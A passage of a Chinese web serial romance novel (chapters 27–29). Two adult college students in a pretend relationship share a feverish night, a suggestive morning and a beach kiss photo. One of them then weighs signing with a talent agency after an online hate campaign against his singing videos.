五分钟后,温度测量结果出来了,三十八度九。 祝闻声扶着陶真半坐起来,让他用温水送服胶囊。 陶真苦着脸,好不容易才把那些药咽了下去。正要匆匆忙忙地往被子里躲,却见祝闻声慢条斯理地从保温袋里拿出了一个包裹得极好的糖水黄桃罐头。 潮湿的水汽顺着玻璃外壁一点点地往下滑,滴滴答答。 他忍不住一怔,眼睫很快地眨了眨,张开嘴巴乖乖地吃了一口。 清脆的黄桃甜津津的,冰冰凉凉地滑入口中,慢慢地抚去了身上躁动的疼痛。 …… 也许是药和黄桃罐头一起起了作用,没多久,生病中的金发少年就窝在被子里陷入了沉眠。 祝闻声松了一口气,却没有立刻起身走人,反而坐在他床边等了一个小时,给他又测了一次温。 果然降下来了一些。 陶真比之前舒服了,松开了紧蹙的眉心。在被窝里翻滚挣扎了一会儿,像条滑溜溜的小鱼一样蹬掉了大半边的被子。 皱巴巴的T恤被捋到了胸口,露出一大截白嫩的腰肢。 祝闻声呼吸一滞,盯着那块白皙的软肉看了半晌,用力地闭了闭眼,蹲下.身,替陶真将被子捡起来盖好。 但是生病中的金发少年嫌热,蛮不讲理地又把被子蹬开,祝闻声只能一次又一次地弯下腰。 就这么反复折腾挣扎了一整夜,陶真的体温终于降到了正常范围内。 等天空泛起蒙蒙亮时,祝闻声也放弃了回到自己房间的念头。 他半倚半靠在陶真床头,闭上眼,用手臂牢牢地圈住他,防止他再一次胡乱蹬被子。 酒店的大床有一米八,两人却只占了一半左右。 灼热的气息紧紧地贴在一块,两人的体温和味道交缠在一起。 陶真嗅着这股味道,迷迷糊糊地做了个梦。 梦里,他似乎回到了那辆祝闻声朋友的迈巴赫上。 他在车后座像那天一样高高兴兴地唱着宝贝,可是面前的祝闻声却没有录视频,反而用那双黑沉沉的瞳眸牢牢地盯着他,将他整个人圈在了怀里。 好热,又好紧,祝闻声的拥抱太过大力。他下意识地想要挣脱开,可是一次又一次地被抓回来。 到最后,祝闻声似乎是生气了,伸手掐住了他腰间的软肉,将他困在后座上。 任由他怎么哭怎么闹都不松手,跟那个黑白条漫里画的一样。 像个居高临下的君王,一点点地折磨着他。 最终,他浑身的疲惫、酸软、疼痛,都在那一道白光闪在眼前之后消失不见。 “!!” 陶真猛地睁开了眼,心脏砰砰砰地狂跳了起来。 喉间干渴至极,浑身汗涔涔的,衣服黏腻地粘在身上。 他下意识的想要翻身下床去卫生间清理一下自己,却被一道大力拉住了。低头看去,只见自己的腰间搭着一条健壮坚实的手臂。 手臂的主人就在他身后。祝闻声的面容极为俊美,眼下略微有些浅淡的青黑,神情淡漠。 昨天晚上的记忆如潮水一般涌了上来,一桩桩一幕幕在脑海中重放。 陶真的呼吸有些急促,想到自己那些近乎撒娇的话时尴尬到想挠墙,可转眼又想起祝闻声近乎轻哄他的那句“真宝”,心头又狠狠地颤了颤。 他在原地凌乱了几分钟,重整旗鼓,想小心翼翼地揭开祝闻声的手臂下床。 然而事与愿违,年轻的格斗选手反应极快,一把将他拉了回来。 两人紧紧地贴在一块,都不由自主地闷哼了一声。 陶真头皮发麻。 他感觉……自己的屁/股撞到了一个极其坚硬、滚烫的东西。 他像是个被叼住后颈立正的小猫,整个人都僵在了原地,条件反射地想要挪开自己的屁/股,却在挣扎中不小心偏移了方向,直直地与那可怕的东西来了个亲密接触。 很大。 很粗。 这尺寸……简直比佟夏和顾行舟两人YY出来的还吓人。 【📢作者有话说】 嗯嗯嗯祝闻声你小子爽到了吧[害羞] 28 ? 第 28 章 ◎祝闻声总不可能喜欢他吧?◎ 用一句“婴儿手臂”来形容, 绝对不过分。 意识到这一点时,陶真脑袋里的各种思绪如同烟花一般炸开,耳畔似乎也响起了一阵轰隆隆的巨响。 明明已经不发烧了, 他却感觉自己的体温又猛地升高了好几度,下意识地挣扎了起来。 于是, 他身后的祝闻声情不自禁地闷哼了一声,声音低沉沙哑:“乖。别乱动。” 那灼热的东西离自己更近了。隔着一件薄薄的短裤紧紧地贴在自己的腿上,几乎都能感觉到那有些凸起的青筋。 很正常, 但陶真头皮发麻,用力地咽了一下口水:“祝闻声……” 他觉得祝闻声可能还没彻底清醒。 都是二十岁的年轻人, 一早上精力旺盛是再正常不过的事,就连陶真自己都才刚刚从一场大汗淋漓的梦里醒过来,对祝闻声此刻的情况再清楚不过。 直男是不可能对同性有什么非分之想的,会出现这样的情况, 只不过是生理反应。 “我身上好难受, 我要去洗澡……” 陶真好不容易才装成无事发生的样子, 掀开盖在自己身上的被子,小心翼翼地伸了一条腿出去, 努力让自己的屁/股离祝闻声的……远一点。 下一秒却又被祝闻声条件反射地摁住了那截细腰,两人的锁骨再一次紧密相贴。 与惊人的本钱和性感的身材不相符的, 是祝闻声这张格外冷淡而俊美的脸。 他睁开眼牢牢盯着陶真,语气有些不容置疑:“不行,还不确定你发烧有没有好。” “可是……!” 陶真忍无可忍,耳垂红得像是要滴血,有些颤颤巍巍地问他, “我要是不去洗澡, 你怎么处理自己的问题?” 祝闻声呼吸一滞, 喉结后知后觉地滚了滚。 陶真转过身,在被窝里蹭出了一阵窸窸窣窣的声响,咬了咬自己的下唇,湿漉漉、亮晶晶的眸里有些忍耐的笑意:“我说的没错吧?你放心,我身体好得很,一晚上过来已经没什么头疼的感觉了。” “我先去一下卫生间,等我出来之后,你也可以去清理一下。然后我们再一块出……” “陶真。” 祝闻声压抑了片刻,忽然打断道:“你不去洗澡,就在这里,我也可以解决的。” “……” 空气一时间沉寂下来,陶真脸上的笑意微微僵住,对上了祝闻声那双漆黑、酝酿着风暴的眸子。 胸膛的火焰瞬间被点燃了,人类原始的本能如同细小的电流,顺着引线炸起了噼噼啪啪的火花。 说不清到底是谁先动作的,反应过来的时候,陶真就已经被扣住了手腕,跟祝闻声重重地撞到了一起,被他用力地吻住。 柔软的金发与黑发依偎交缠,颜色对比极为强烈。 陶真被吻得失去力气,只有手可以无助地垂下,被祝闻声细细地扣住十指。 不知不觉间,两人之间的温度比一开始更高。 陶真在迷蒙间睁开眼,只能清晰地看见祝闻声窄长的平扇双眼皮掀起,一向冷淡双眸里染上了难以形容的鲜艳色彩。 他难以自拔地陷进了这个眼神,原本已经亲得有些累,有些力不从心,几乎想要往旁边避开,从喉咙溢出几声不轻不重、小猫似的呜咽,下一刻却又主动搂住祝闻声的脖颈,去亲亲他的下巴。 “真宝好乖。” 祝闻声低哑的声音在耳畔响起, 陶真的脑袋瞬间“嗡”的一声,感觉自己要被哄得飘飘然了。像是一杯热烘烘奶茶顶上的奶油,轻盈柔软,被甜滋滋的话融化成一团云朵似的蜜浆。 然而正在这时,走廊外忽然响起一串熟悉的脚步声。 门被“咚咚”敲响,响起了顾行舟满是疑惑的声音:“奇了怪了,群里的消息没回,打电话也没接……不会还在睡觉吧?” 佟夏“唔”了一声:“有可能,但我们等下还有行程呢,不能睡了。你别动,我再给真宝打个电话——” 打电话?! 陶真从亲吻中回过神来,下意识地仰面避开祝闻声的唇瓣,他咕哝了一声,动作慢下来。 这几乎变成了一种对祝闻声的折磨。黑发黑眼的少年忍不住低下头,叼住了金发少年的后颈。滚烫的舌滑过柔软白皙的软肉,牙齿在后颈那块小小的皮肤上反复厮磨。 “唔……”陶真只觉一阵刺痛,“祝闻声……” 跌落在床边的手机“嗡嗡”地振动了起来。 一阵一阵,好似催命的铃声。 陶真下意识地伸手去够,却总是差了那么一点点,碰不到按键。 “奇了怪了……怎么不接啊?” “可能是手机关机了,还是敲门吧。” 细细碎碎的讨论、“砰砰砰”的敲门声,同身后男人低哑的呼吸融杂在一起。陶真有些着急,雪白伶仃的胳膊在空中颤巍巍地举了半晌,却忽然被紧紧握住。 祝闻声捋起额前垂落的黑发,低低地喊: “真宝。” 陶真的呼吸越来越急促,用力地咬住了自己的手背,眼前一片空白。 “夏夏,先别着急,现在时间还早……” 江姗的声音响了起来。不知道她到底说了些什么,门外的交谈声渐渐消失了。 陶真做贼心虚般吐出一口气,小腿肚有些抽筋,他用力地蹬了两下,忍住身体发颤的余韵,从床上爬了起来。 祝闻声托了他一把,手指从他的后脊划过。 陶真咽了下口水,小声问:“你…解决了吧?” 祝闻声额前黑发微湿,薄唇颜色鲜艳:“……嗯。” 两人彼此对视了一眼,又极快地收回了目光。 羞耻和兴奋,糅杂着点说不出的情绪,攀爬上了脸颊。 陶真装模作样地咳了一声,胡乱地抖了抖自己皱巴巴、汗涔涔的T恤,和祝闻声去卫生间迅速地清理了一遍。擦净了这一夜的汗,换了新衣服,顿时感觉自己整个人焕然一新。 他害怕两个朋友担心,赶快在群里面发了消息,约定好在楼底下的餐厅会合。 刚一见面,就被佟夏和顾行舟这俩人结结实实地拷问了一遍。陶真无奈,讪讪地为自己解释: “我不是故意不接电话,也不是故意不回应你们的敲门……我昨天晚上的时候突然有点发烧,所以才、才这样的。” “你发烧了?什么情况,现在呢?” 佟顾两人一怔,原本气势汹汹的嚣张气焰立刻消失不见,换上了老父亲老母亲般的担忧姿态,围着陶真从头到脚的检查了一遍,即使听见他含含糊糊地说“已经好了”还是没放下心来。 佟夏抓住陶真的脑袋,测了一下他的额温,皱起眉:“我知道了,你房间昨天肯定也没有出热水。你是不是洗冷水澡洗成这样的!” 陶真傻笑,试图蒙混过关:“唔,我也不知道,应该影响不大吧……哎,夏夏,那你昨天怎么办的?你去哪里洗的澡呀?” “别想岔开话题!”顾行舟瞪了他一眼,又不自觉地看向佟夏,“对哦,你在哪里洗的澡?” 佟夏踹了一脚顾行舟这个三言两语就被带偏的猪队友:“当然是去姗姗那里了!” 陶真和顾行舟挑眉,好奇的表情如出一辙。 “……”佟夏无奈,强调道,“只是洗了个澡,你们别想多了。姗姗是直女,天生性取向不同知道吗?” 顾行舟嚷嚷道:“可她都让你去洗澡了,这暗示还不够明显吗?” 佟夏踹他一脚:“有什么明显的?她能眼睁睁地看着我被冷死吗?不是女朋友好歹也是朋友吧?” 她冷笑一声:“再亲密,也不过是直女的把戏。是我懂还是你们懂?” 顾行舟不甘示弱,叽叽喳喳地跟她吵了起来。 陶真脸上的笑容却忽然僵住了,过了好半晌才有些用力地眨了眨眼。 心头那股热烈膨胀的火焰,似乎渐渐消了一些下去。 直女的把戏。 那……祝闻声今天早上的举动,也只是直男的把戏吗? 陶真忍不住挠了挠脸颊,脑袋里乱七八糟的。抬起眼,刚好看见不远处和江姗站在一块的祝闻声- 山上空气清新,入目皆是一片鲜嫩的翠绿,充满生机的活力。祝闻声见陶真正和朋友聊天,便先进餐厅替他拿些早餐,刚好遇见了端着两个餐盘的江姗。 犹豫两秒,他难得主动开口:“今天早上的事,谢了。” 江姗一怔,立刻反应过来,姿态优雅地掩唇笑了:“不用,我只是让夏夏他们先下楼问一下前台,而不是一直站在你们房门口而已。” “我以为你会更感谢我昨晚的提醒,”她看起来心情很好,语气悠然地说,“毕竟,你看起来度过了一个相当美好的夜晚。” 祝闻声一顿,愈发笃定自己昨夜的猜测,江姗果然不像表面那么简单。 但他没有揭穿女人的理由,与她对视了两秒,淡淡地收回了目光:“难怪佟夏一直那么喜欢你。” 江姗歪了歪脑袋,勾起唇角笑了。 也许是因为这话实在是很中听,她在端着餐盘离开前,礼尚往来地提醒了祝闻声一句: “你身上这套定制的杰尼亚太超过被包.养的水平了,下次别在别人的面前穿。” 说罢,她笑意盈盈地抬步向佟夏走去,同女孩弯唇说话。 祝闻声若有所思地低头看了眼身上的衬衫,等陶真走到他跟前了才回神。 他手里的小瓷碟里装着一点清淡好消化的食物,适合痊愈中的病人:“饿了吗?” 陶真看了一眼不远处交谈中的江姗和佟夏,无意识地扯了扯自己的衣角,语气轻快:“还好……” “你们刚刚在聊什么呀?”他没忍住问。 “没什么,只是说了声谢谢。” 祝闻声言简意赅地说,“她昨晚接佟夏到房间的时候顺便提醒了我,你房间的水也是冷的。” “哦!原来是这样。” 陶真一愣,高悬到嗓子眼的心落了下来,同时又有些形容不出的、隐秘的悻悻,“难怪你那个时候给我打电话呢……!” 好吧,佟夏说的没错。祝闻声对他,或许也是直男的把戏、朋友的关心。 不过这也没什么,陶真很快就想通了,毕竟他们的“恋爱”后有协议两个字。无论发展到哪一步,都是他赚了。 至于今天早上这件事嘛,互帮互助,也很正常。 毕竟,祝闻声总不可能是因为喜欢他,所以才这么做的吧? …… 几人在落地窗旁吃完早饭后,就调整了一下这两天的行程。考虑到陶真的身体还没有完全恢复,他们取消了一些需要大量体力精力的活动,将这几天的活动安排得更加轻松了一些。 过于激烈的攀岩公园、冲浪探险都被无情地划出了list,取而代之的是海洋馆一日游、乘船去博物馆游览……最终还是陶真这个病患本人率先受不了这种学校春游一样的气氛,竭力证明自己的感冒发烧已经彻底好了,让大家该怎么玩怎么玩, 众人这才放松下来,订好在水上乐园游玩的票。 十月份的天气很好,晴朗却不刺人的太阳照得树影摇晃。碧蓝的大海泛起波涛,浪潮一阵阵地拍打在洁白细腻的沙滩上,冲刷出一个个或大或小的贝壳。 滑梯、激流勇进、皮划艇……明明是各种各样极为幼稚的游乐设施,却能轻而易举地带走许多烦恼。 一直玩到天边染上橘红色的光芒,众人才意犹未尽地从乐园里出来,漫无目的地踩在沙滩上,往酒店的方向走。 为了防止感冒,每个人在换完干燥衣服后,又在身上披了一条滑稽的大毛巾。风格一下子就从热带风情的夏威夷跑到了朴实无华的东北澡堂。 顾行舟反抗得最激烈,拼命用毛巾凹造型,忍不住哀嚎:“披着这玩意也太丑了吧!万一被我的crush看见了怎么办?” 佟夏正在帮忙擦江姗的长发,闻言噗嗤一下笑出来:“人不行别怪路不平,喏——” 她往旁边指了指,大半个身子都裹在蓝毛巾里的陶真看起来依然纤细漂亮,灿金色的头发毛茸茸的,衬得他肤色冷白,像是美剧里出来度假的富家小少爷。 而他身旁的祝闻声也不遑多让。黑发黑眼的男人以指做梳,随意地将潮湿的黑发抓至脑后,露出光洁的前额和冷淡俊美的眉压眼。单肩搭着一条毛巾,像是刚拍了海边广告的男模。 这两人站在一块各有千秋,共同点是都让人挪不开视线。 顾行舟看得勃然小怒,忍不住发起疯来。佟夏匆忙躲闪,连连求饶,跟陶真一块连续夸了他好几句。 虽然嘴上偶尔损两句,但平心而论,他们五人的颜值都高得离谱,这儿闹得正欢,吸引了不远处许多人的注意力。 不一会,他们旁边就走来了一个胸前挂着蓝色工作牌,手里拿着登记报名表的女孩。 女孩推了推自己的眼镜,遮住通红的眼眶,看起来似乎十分紧张:“那个——帅哥美女们好!我是大禹湾的宣传人员,负责那边的一块情侣打卡宣传墙。只要各位当中有情侣愿意去墙边kiss,并拍摄一张拍立得贴上照片墙,就算任务完成,可以获得一份惊喜礼品。” “我想问问……各位有兴趣吗?” 被女孩这么眼巴巴地看着,五人俱是一怔。陶真没忍住率先开口:“你有任务指标吗,还差几个呀?” “就还差两个!”女孩的语气有些激动,鼻一酸又要落下泪来,“如果你们愿意的话就刚刚好……” 天都要黑了,她还差两张照片才能完成任务,如果错过了陶真他们,又不知要厚着脸皮去问多少人。 陶真脑袋一热:“我可以!” 他说完,下意识地扭头看向了身侧的祝闻声。而黑发黑眼的少年也刚好垂下眼来,意味不明地望着他。 “嗯,”几秒后,祝闻声开口。他的声音一如既往的清冷,只是不知为何,语速快了些,“听你的。” 一旁的佟夏咬了咬唇,有些欲言又止。江姗倒是忽地低笑了一声,替她说:“我们也可以。” 佟夏有些震惊地抬起头,就见江姗狡黠地眨了眨眼,“嘘”了一声:“不帮她吗?” 工作人员女孩露出一个如释重负般的神情,感激地冲几人笑起来。 然而将他们带去打卡点、准备分组拍照的时候,她突然意识到了不对劲。 ——为什么这两男两女是分开站在一起的? 见她举着拍立得、神情呆滞,一直以来安静如鸡的顾行舟终于幽幽地叹了口气,微笑道:“想不到吧?” 三男两女在一块,竟然凑不出一对异性恋。 陶真对女孩看了几秒,略有些紧张:“是不行吗?” 女孩怔了一下,赶快摇手:“不不不,可以的!您二位可以向彼此靠近一些方便kiss,我来倒数。” “三——” 不远处的太阳已经彻底隐入了地平线下,只留一线橙粉红的余晖。与深蓝色的天鹅绒夜幕交相辉映。 “二——” 一轮弯月立于头顶,陶真有些紧张,下意识地冲着镜头笑了起来,几乎忘了自己要做什么。 “一——” 祝闻声侧过脸,黑沉的瞳眸中倒映出陶真的笑颜,显得有几分难言的温柔。 他微微弯腰,在陶真的唇角轻轻落下一吻:“真宝。” 两人的呼吸清浅地交缠在一起,混合着咸涩潮湿的海风,触感微凉。 拍立得在此刻定格。 【📢作者有话说】 文案上提过啦,但还是在作话再说一下,夏夏这对后面还会出现,但不会特别多[可怜]如果有介意的宝宝很抱歉[求求你了] ———— 审核啊能不能放过我这一次[爆哭]什么都改没了呀[爆哭][爆哭] 29 ? 第 29 章 ◎boss直聘◎ “……” “天呐, 简直绝了!” 他们在原地安静了几秒,被不远处手忙脚乱接住相纸的女孩唤醒。陶真有些怔怔,猝然收回了视线, 胡乱地攥住衣角,跑去看相纸上渐渐显露的画面。 这张拍的真的很好, 无论是光线还是背景。略微柔和了他和祝闻声的线条,显得那个吻格外温柔。 祝闻声也从不远处走来,盯着这张相纸看了好几秒。 “嗯。” 真的很不错。 陶真揉了揉耳朵, 用力地咽了一下口水。 不一会,女孩弄好拍立得, 将镜头对准了佟夏和江姗。陶真和顾行舟看得出,佟夏整个人都要紧张得同手同脚了。她木木地站在江姗旁边,踮起脚试探性地望那边靠了靠,似乎是不知道该怎么下嘴。 等“三二一”的倒计时到最后时, 江姗有些无奈地笑了, 低下头, 在她的脸颊上亲了一下。 佟夏呆了,简直跟做梦一样。 头晕眼花地拍完照, 完成任务,包括顾行舟在内, 他们五人都成功地收到了一份惊喜礼品。并不是什么很贵的东西,都是手工制作的海边特产:珍珠手链、海螺怀表,贝壳风铃…… 他们各自挑了一份喜欢的带走,回酒店的路上,气氛有些奇妙。 最终还是顾行舟幽幽地叹了一口气, 率先打破沉默:“我说真的, 真的没有人心疼一下我吗?” “……” “我也想拍拍立得!我也想靠自己拿到小礼品!下次我也要带帅哥出来!!” 他嚎叫得太过真情实感, 简直闻者伤心见者流泪。 陶真忍不住乐了,凑过去勾住他的肩膀认认真真地安慰了一阵子。佟夏也渐渐从刚刚的震惊中走了出来,同他们一起笑开了。 队伍最后,江姗侧过脸,笑着挑了挑眉,与祝闻声对视了一眼。 …… 几天的放松很快就迎来了结尾,考虑到假期人多,他们提前买了回程的票。这次不巧,陶真和祝闻声并没有买到并排的座位,两人之间隔了三四排。 陶真的行李被祝闻声拿着,空着手坐到自己的位置上,顺便点开了上次发出去的视频。 天时地利人和,这条视频的热度比之前以往的那些视频都要高,点赞量甚至已经突破了三百万。评论和收藏量也在不停的上涨。 陶真心情一下子就美妙了许多,下意识地点进评论区,想看看有没有夸夸或是意见。但才上下划拉了两下,他脸上的笑容就慢慢凝固了。 【666这么难听还有人喜欢,修音的痕迹都已经快要突破天际了】 【从专业角度说一句,博主唱的歌都特别简单,根本没你们嘴上吹得那么牛,是个音乐生就能唱好么?而且他每次录制的视频都是手机这种再简单不过的设备,根本听不出好坏,有本事进录音棚来两首啊?】 【妈呀,让博主这种靠脸吃饭的博主进录音棚?我猜他连最基础的乐理知识都不知道,会唱几首流行歌就能火?】 【这视频一看就是P过的,线下原图指不定是怎么样的丑八怪[大笑]】 【长得跟个小白脸一样,到底谁在喜欢?】 【……】 陶真忍不住皱了皱眉。 他一向不太在意网络上的种种负面言论,可见状,还是感觉胸口又憋又闷,好像被什么厚重的东西堵住了似的,压得他相当难受。 这次的恶评规模来势汹汹,比上次那些小打小闹式的攻击来的恐怖多了。 那些喜欢他的人根本就来不及为他说话,而且只要说上一句,就会被打成腿毛。 评论区,几乎可以用乌烟瘴气来形容。 【我就一个视频没看,为什么突然出现了这么多恶心的评论?博主也没做啥呀,怎么搞得跟杀了他们全家似的?】 【真知棒,咱们姐弟俩被人算计了啊!】 【守护,博主被骂得这么惨实际上零黑料哈,感觉是挡着别人的路了。】 夹缝间,几个女孩的讨论吸引了陶真的注意力。他抿了抿唇,将心口那股憋闷的情绪压了下去,挡路? 他只是好好地发自己的视频而已,到底会挡着谁的路呢? 【啥意思?博主得罪什么人了吗?】 【现在这年头,你不妨碍别人,人家也得来做掉你。博主没有得罪任何人,因为爆火就是原罪。】 【他这段时间都上了多少个热门了?抢夺了多少眼球流量?挤走了多少MCN公司花了大价钱保驾护航的歌手?博主不签公司,背后就没有人,人家不搞他这个半路杀出来的野路子就怪了啊!】 陶真脑袋里“嗡”了一声,尽管再不想面对现实,他也不得不承认,这条评论说的是对的。 别人才不会管他到底有多么热爱音乐,到底有多么希望好好地唱自己的歌。他们只为了自己的利益而斗争,拼了命地想要干掉不是同一战线的“竞争对手”。 【妈呀好惨的博主!可是这也办法了呀,惹上的不是人是公司,只能自认倒霉了。哎,不然博主就先别看评论区了吧,黑红也是红!】 【太天真了,你们真以为那些公司只有这一种手段?还黑红也是红……他们才不会白白地给博主送流量呢。大规模的黑评足够劝退一大波对博主不了解的人,这就已经把他的路人盘全都断送了。】 【这年头的路人缘有多重要就不用我说了吧?失去了大众的安慰好评,像他这种刚刚才火起来的新人,也没有累积起属于自己的粉丝,接下来要面对的就是无穷无尽的黑评,还有各种各样的造谣……如果博主挺不住的话,这一波就能直接把他干退网了!不仅这个号废了,以后想要再重新做起来,也不是这么简单的事。】 假期即将结束前的高铁上一片安静,大人们要重新回到岗位上班,就连车厢最后的几个小孩都蜷在位置上一边哭一边补作业。 窗外的天色略微有些暗淡,细细密密的雨丝刮过玻璃,留下蛛丝似的痕迹。陶真呆呆地盯着窗沿看了几秒,又低下头,看见了几条新冒出来的评论。 【我的天……】 【那博主如果挺住了呢?会不会好起来呀?不是说大众的眼睛是雪亮的么?】 【挺住的情况不是没有,可也只是极少数人,而且都经过很多次莫名其妙的网暴和雪藏,才渐渐好起来一些。多得是原本前景一片大好,然后被这种公司做局,最后一蹶不振的。】 【加一,楼上说的对。现在的网络环境跟以前可不一样了,想要“独善其身”是很难的。没有后台的博主就想办法变身忍者神龟吧。】 【……】 陶真认认真真地将这几条评论翻来覆去地看了几遍,心里有些说不出的滋味。他没有伤害到任何人,可别人却觉得他碍事,想要断了他在互联网上的生路。 一股油然而生的愤怒和无奈席卷上了心头,很快就又被难以言喻的无力所取代。 他不自觉地想到了妈妈。 林曼妙也曾经在剧团里经历过这样的事情。 明明没有做错任何事,明明唱得比任何人都要好,却因为没有资本,没有钱,被从女主角的位置上换了下去。 陶真有些难过和心疼。他还没从热度的高峰跌落下去呢,看到这些恶评都有些受不了了。 当时的妈妈,会是什么感觉呢? 他垂下眼,退出了自己这条视频的评论区,转而点开了林曼妙剧团演出的录播。那些视频底下的评论有夸有贬,嬉笑怒骂,有大段对音乐剧本身的科普,还有对于剧团演员的介绍。 认认真真地看了一会,陶真呼出了一口气,慢慢调整好了心情。他想像林曼妙一样,无论情况有多么不如意,都要坚持把这件事做下去,而不是被别人的言语裹挟,轻而易举地选择放弃。 至于,到底是选择一个人走独木桥、咬着牙坚持下去,还是选择联系一些MCN公司,把专业的事情交给专业的人做…… 陶真想了半天也没想出个所以然来,正打算翻一翻自己的后台、了解一下那些联系他的公司资质,就忽然看见了一条新弹出来的私信。 发信人是一个网上很有名的音乐博主,DoctorSeven,粉丝已经超过了五百万。陶真也曾看过他几个爆款视频,对他半侧脸,穿着西装弹吉他的角度记忆犹新。 七博士怎么会突然联系他? 陶真有些懵,下意识地点进了私信界面,那头很礼貌地说完Hello,就语气温和地说: 【博主你好~我看过你许多视频,是你的粉丝。这两天发现你新视频的底下出现了一些不太好的评论,忍不住来私信你,希望你不要被这些评论影响,继续努力专注地享受音乐!如果有什么我可以帮得上忙的,可以联系我。】 原来是这样。 一股暖意涌上心头,陶真抿唇笑起来,认认真真地打了一段感谢的话过去,又额外添了一段:【……我没关系的,谢谢七博士,我也是你的粉丝,你唱歌很好听,视频也拍得特别好!】 消息发出去立刻已读,那头的名字也变成了“对方正在输入中”。 【DoctorSeven:过誉啦哈哈哈,我唱歌还行,但视频方面一窍不通,是公司帮我设计的角度和拍摄手法,不然按照我以前那个方式来,根本就出不了爆款。】 陶真一怔,下意识地问:【七博士也签公司了吗?】 【DoctorSeven:签了,我的公司是“Z时代”,隶属于那个南城很有名的司氏企业。】 【DoctorSeven:实不相瞒,我今天来找你,其实就是想问问你需不需要公司的帮助。你真的很有潜力,天生就是吃这口饭的。但现在公司之间竞争比较激烈,会因为利益而打压像你这样从素人做起来的博主。】 【DoctorSeven:我之所以选择“Z时代”,就是因为它不干这种龌龊的事,只需要我们跟公司一起努力一起成长。而且它们家贼有钱,毕竟背靠着司氏嘛,对其他公司和他们之间小打小闹的竞争一点都不慌的。】 陶真明白了,七博士是代表着Z时代前来当说客了。 如果放在几天前,他恐怕会想都不想就直接拒绝。可今天,在看见自己评论区底下那些无穷无尽的谩骂和嘲讽之后,他罕见地有些迟疑了。 他只想好好地唱自己的歌,不想参与其余的争斗。签公司,似乎也并不是一件十分不好的事,反而能给他提供帮助。 【真知棒:那,公司会干涉视频的内容,要求博主必须去参与什么……线下的活动吗?】 【DoctorSeven:哈哈哈哈,我知道你在担心什么。放心吧,不会的。像我主页的视频,选曲什么的都是我自己来,公司只会按照我的要求给你提供帮助,比如给我提供拍摄的衣服、场地,设备什么的。】 【公司是不会要求博主去线下走穴、参加商业活动的,都秉持着自愿原则。】 一字一句地将七博士说的话读完,陶真渐渐地有点心动了。但他还是有些犹豫地舔了舔唇瓣,斟酌着说: 【好!真的非常感谢你,我想之后再去了解一下,如果有想法的话,再联系你,行吗?】 七博士答应得格外爽快:【当然没问题了,就算不签约你也不用觉得不好意思!哦,对了,过段时间Z时代还有一个创立周年大会,如果你有兴趣的话可以跟我说,你可以先去了解一下,之后再考虑要不要签约也不迟。】 陶真松了口气,心里很感激,又对七博士说了好多声谢谢。他记得七博士有时候会在平台里开直播,决定等下次看见直播时刷两个嘉年华。 不知不觉,他已经在网上花费了许多时间,连高铁即将到站都没注意。看见前排的祝闻声起身回头时,他才如梦初醒,抓着手机一骨碌站了起来。 “怎么了?” 下车时,周围的众人都拉着脸,四周弥漫着阴雨天的郁闷气息。祝闻声站在他身边,侧脸一如既往的俊美冷淡,眼神里却带了些许探究:“一直低着头。” “啊!唔…倒也没什么,就是在想事情。” 陶真揪了揪自己的衣角,斟酌了一下,换了一个委婉的说法,“回去以后不是就又要上学了么,你也得回去训练了……那儿的住宿环境又那么差……” “你是怎么想到要和那个俱乐部签约的呢?难道不会被限制吗?直接跟在江叔后面,不行吗?” 听见“住宿环境”时,祝闻声不动声色地滚了下喉结,直到下一句话才转过脸,浓黑的睫羽掀起,平静道:“不太行。” 他简单地为陶真解释了一下:格斗牵扯到的环节很多,流程很复杂,不管是跟主办方交涉报名比赛、研究分析对手的习惯,还是针对性的训练安排、营养康复……这些都不是一个人能轻松搞定的。 想要好好的打比赛,发挥出十成的实力,就得专心训练力量,努力磨炼技巧,而不是被困在这些繁杂的事务里无法脱身。 “有俱乐部会方便很多,国内那位拿到UFC金腰带的冠军也一样。她也有经理人处理各种事务。” 陶真很认真地听完,露出了一个恍然大悟的表情,有点不好意思地挠了挠脸:“的确是这样,一个人确实忙不过来……” “团队的作用还是很大的,是我以前一直都只看到了他们不太好、欺负人的那一面。”或许他真的可以考虑一下七博士的话,去Z时代了解一下。 祝闻声“嗯”了一声,并没有否认陶真原先的想法:“压榨的确也是存在的。” 到底好与坏,还是要看能不能选到一个好的合作伙伴。 高铁到站,深灰色的厚重云层铺在天空,降下绵绵细雨。 两人越过喧闹的人群离开了站台,愉快的假期也一晃而过。 刚开始重新上班的这段时间是最痛苦的,所有人都跟游魂一样还没恢复状态。 陶真却精神抖擞,他在网上搜索了许多“Z时代”的资料,又旁敲侧击地询问了一下陶大俊这公司是否靠谱,在得到肯定的答复后,找时间给七博士刷了两个嘉年华。 七博士下播后就立刻来联系了陶真,让他不要这么破费,月底就是Z时代的周年庆,七博士已经跟公司商务说好了,会提前几天给陶真送一封邀请函。 一封邀请函就代表着一位嘉宾,可以带一位男/女伴,虽然这种聚会并没有强行要求,但带个伴会礼貌一些,而且……有个人陪着,总会更有底气。 陶真一拿到邀请函,就立刻给祝闻声发了消息,问他那天有没有空。 然而,怀揣着略微有些激动的心情等了半晌,陶真却迟迟没有收到对面的回复。 祝闻声并不是故意不理陶真的。 他上完下午的第一节课赶到俱乐部,还没来得及换上背心短裤去完成今天的训练任务,就看见黎旻风风火火地从外面赶了进来。 女人难得没有穿着她那一身干练的黑色职业装、也放弃了十厘米的红底黑皮高跟鞋,反而身着温柔的米色针织衫,甚至还特意戴了一副棕色镜框。 一扫MMA经理人的铁血气质,令人怀疑她今天是不是吃错了什么药。 像是看穿了众人的腹诽,她的嘴角抽了抽,从烟盒里磕了根烟出来叼上,警告似的扫了一眼他们。 众人立刻像鹌鹑一样缩起脖子逃了,只留下祝闻声,放下手里的拳套走到她身边,淡淡道:“怎么了?” “你还知道问我,忘了今天是什么日子?”黎旻反问他,点火的动作里透着些许烦躁,“外公外婆都快要把我给念死了,如果你今天晚上不跟我回老宅,他们绝对不会开席你信不信?” 祝闻声没什么表情地垂下眼:“金婚宴会,你我有必要参加么。” “我也觉得没必要,可他们年纪大了,不就是会越来越重视这些东西吗?尤其是这些年,我妈败家,你妈又……能留在他们身边的就只有我们两个小辈了。” “而且他们前段时间刚去做过检查,情况算不上特别好……我知道,他们真的有很多不对的地方,我也讨厌他们总是对MMA指手画脚,但是——” 黎旻咬破爆珠,深吸了一口气,过肺,将那些郁结的气息和烟雾一起吐了出来: “阿声,就当是看在我的面子上吧。” 淡淡的烟雾袅袅飘散,朦胧了两人的视线。 过了片刻,祝闻声轻轻地“嗯”了一声。他去楼上拿了件适合正式场合的外套罩在自己浅灰色高领薄毛衣上,就乘上了黎旻的车。 外公外婆——司家二老的金婚宴会,规模是空前的盛大。 